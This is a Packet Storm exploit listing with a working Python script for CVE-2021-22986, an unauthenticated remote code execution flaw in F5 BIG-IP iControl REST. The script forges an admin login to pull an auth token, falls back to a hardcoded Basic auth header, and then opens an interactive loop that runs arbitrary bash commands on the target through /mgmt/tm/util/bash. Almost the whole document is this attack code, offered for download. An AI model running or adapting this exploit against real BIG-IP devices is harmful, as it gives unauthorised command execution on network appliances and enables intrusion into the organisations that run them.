what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

F5 BIG-IP 16.0.x Remote Code Execution

F5 BIG-IP 16.0.x Remote Code Execution
Posted Apr 2, 2021
Authored by Al1ex

F5 BIG-IP version 16.0.x suffers from an iControl REST remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2021-22986
SHA-256 | b4ef0983df32e4af9b07348e405a0b8acc9a16e40982e9ca0b30305f3759ae05

F5 BIG-IP 16.0.x Remote Code Execution

Change Mirror Download
# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
# Exploit Author: Al1ex
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2
# CVE : CVE-2021-22986

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys


def title():
print('''
______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __
/ |\ \ / / | ____| |__ \ / _ \ |__ \ /_ | |__ \ |__ \ / _ \ / _ \ / /
| ,----' \ \/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_
| | \ / | __| |______/ / | | | | / / | | |______/ / / / \__, | > _ < | '_ \
| `----. \ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) |
\______| \__/ |_______| |____| \___/ |____| |_| |____| |____| /_/ \___/ \___/

Author:Al1ex@Heptagram
Github:https://github.com/Al1ex
''')

def exploit(url):
target_url = url + '/mgmt/shared/authn/login'
data = {
"bigipAuthCookie":"",
"username":"admin",
"loginReference":{"link":"/shared/gossip"},
"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
}
headers = {
"User-Agent": "hello-world",
"Content-Type":"application/x-www-form-urlencoded"
}
response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
if "/mgmt/shared/authz/tokens/" not in response.text:
print('(-) Get token fail !!!')
print('(*) Tested Method 2:')
header_2 = {
'User-Agent': 'hello-world',
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data_2 = {
"command": "run",
"utilCmdArgs": "-c whoami"
}
check_url = url + '/mgmt/tm/util/bash'
try:
response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
if response2.status_code == 200 and 'commandResult' in response2.text:
while True:
cmd = input("(:CMD)> ")
data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
if r.status_code == 200 and 'commandResult' in r.text:
print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
except Exception:
print('ERROR Connect')
print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
while True:
cmd = input("(:CMD)> ")
headers = {
"Content-Type": "application/json",
"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
}
data_json = {
"command": "run",
"utilCmdArgs": "-c \'%s\'"%(cmd)
}
exp_url= url + '/mgmt/tm/util/bash'
exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)

if __name__ == '__main__':
title()
if(len(sys.argv) < 2):
print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
exit(0)
else:
exploit(sys.argv[1])

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close